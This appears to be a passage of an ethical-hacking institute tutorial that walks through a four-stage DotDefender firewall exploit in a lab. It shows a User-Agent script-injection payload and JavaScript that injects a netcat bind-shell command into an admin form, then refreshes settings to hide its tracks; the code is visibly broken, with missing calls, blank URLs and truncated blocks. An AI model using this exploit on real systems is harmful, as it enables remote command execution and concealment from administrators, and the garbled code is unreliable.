Advanced Ethical Hacking Institute in Pune

Preparing our Web Application Environment

First we have to install dotDefender on Metasploitable. This can be done by opening a command prompt and usingwget on the following url:

Analyzing the DotDefender Exploit

Looking at the exploit closer we see what needs to be done to turn the DotDefender PoC into a full exploit.

For this attack to work, first you must trigger DotDefender to log your activity and then simply have the DotDefenderadministrator look at the log you created. This can be done with anything that DotDefender blocks such as Cross-Site Scripting or SQL Injection, then you simply modify your User-Agent field to include your script such as:

<script language="JavaScript" src=""></script>

So this means we have two different things that have to happen in this exploit. The first is to trigger a log entry in DotDefender with a malicious User-Agent. The second is to host the JavaScript file that will allow for command execution on the server.

JavaScript Specifics


Stage 1


  • This is the first stage of the attack. What this stage does is creates an AJAX POST request to the index.cgi page with the parameters to delete a server from the list. Since we are executing this script using AJAX and we can send the proper POST parameters to the index page. This example opens a netcat listener on port 4444. The only thing that must be changed is the name to correspond to the site that is being protected by DotDefender.

We can see from the highlighted exploit code below that in the first section we need to change the netcat listener and to the appropriate site name.

var http = new XMLHttpRequest();
var url = "../index.cgi";
var params = ";nc -lvp 4444 -e /bin/bash;&action=deletesite&linenum=14";"POST",url,true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.setRequestHeader("Content-lenth", params.length);
http.conreadystatechange = function() {
    if(http.readyState == 4 && http.status == 200) {


Stage 2


  • This is the second stage of the attack. DotDefender required the administrator to “Refresh the Settings” of the Web Application Firewall after a site has been deleted.

From the comments we can see that after the exploit is finished, the PoC will continue to attempt to not arise suspicion of the DotDefender Administrator by covering it’s tracks.

var http2 = new XMLHttpRequest();
var params2 = "action=reload&cursite=&servgroups=&submit=Refresh_Settings";"POST",url,true);
http2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http2.setRequestHeader("Content-lenth", params2.length);
http2.conreadystatechange = function() {
    if(http2.readyState == 4 && http2.status == 200) {


Stage 3


  • This is the third stage of the attack. Since the code-execution vulnerability required the site to be deleted from DotDefender, the site must now be added back into the list.

We can see in the following code we must change the “” parameter again to the appropriate site name.

var http3 = new XMLHttpRequest();
var params3 = "";"POST",url,true);
http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http3.setRequestHeader("Content-lenth", params3.length);
http3.conreadystatechange = function() {
    if(http3.readyState == 4 && http3.status == 200) {


Stage 4


  • This is the fourth and final stage of the attack. The site has beed added back into the list but once again the administrator needs to “Refresh the Settings”.

This is the final stage of our exploit and is a copy of Stage 2. This also does not need any modification.

var http4 = new XMLHttpRequest();
var params4 = "action=reload&cursite=&servgroups=&submit=Refresh_Settings";"POST",url,true);
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http4.setRequestHeader("Content-lenth", params4.length);
http4.conreadystatechange = function() {
    if(http4.readyState == 4 && http4.status == 200) {